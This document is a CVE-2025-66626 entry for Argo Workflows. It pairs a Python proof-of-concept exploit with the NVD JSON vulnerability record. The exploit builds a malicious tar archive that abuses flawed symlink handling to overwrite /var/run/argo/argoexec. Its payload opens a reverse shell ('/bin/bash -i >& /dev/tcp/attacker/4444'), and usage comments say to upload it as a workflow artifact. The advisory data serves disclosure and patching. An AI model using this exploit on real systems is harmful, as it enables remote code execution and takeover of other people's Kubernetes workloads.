CVE-2025-66626

import tarfile import os import io def create_malicious_archive(): """ Generate a malicious tar archive containing a symbolic link that points to /var/run/argo/argoexec and a payload script. """ # Create a malicious payload script payload_script = b'''#!/bin/bash echo "Malicious code execution" >> /tmp/pwned.txt /bin/bash -i >& /dev/tcp/attacker/4444 0>&1 ''' tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add a file that will overwrite argoexec via symlink info = tarfile.TarInfo(name='argoexec') info.type = tarfile.SYMLINK info.linkname = '/var/run/argo/argoexec' tar.addfile(info) # Add the malicious payload with the same name # This will be written when symlink is followed info2 = tarfile.TarInfo(name='argoexec') info2.size = len(payload_script) tar.addfile(info2, io.BytesIO(payload_script)) return tar_buffer.getvalue() # Usage: Upload this archive as workflow artifact malicious_tar = create_malicious_archive() print(f"Generated malicious archive: {len(malicious_tar)} bytes") print("Upload this archive as workflow input artifact")

{"cve": {"id": "CVE-2025-66626", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:16:00.150", "lastModified": "2025-12-19T19:14:03.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions 3.6.13 and below and versions 3.7.0 through 3.7.4, contain unsafe untar code that handles symbolic links in archives. Concretely, the computation of a link's target and the subsequent check are flawed. An attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which would be executed at the pod's start. The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links. This issue is fixed in versions 3.6.14 and 3.7.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}, {"lang": "en", "value": "CWE-78"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionEndExcluding": "3.6.14", "matchCriteriaId": "3A082159-7253-4A65-8918-F1EA0F92CDF4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.5", "matchCriteriaId": "B40CD67C-5B5E-4541-A4FD-C65D0F8816CA"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-p84v-gxvw-73pf", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/argoproj/argo-workflows/commit/6b92af23f35aed4d4de8b04adcaf19d68f006de1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xrqc-7xgx-c9vh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/advisories/GHSA-p84v-gxvw-73pf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Not Applicable"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xrqc-7xgx-c9vh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}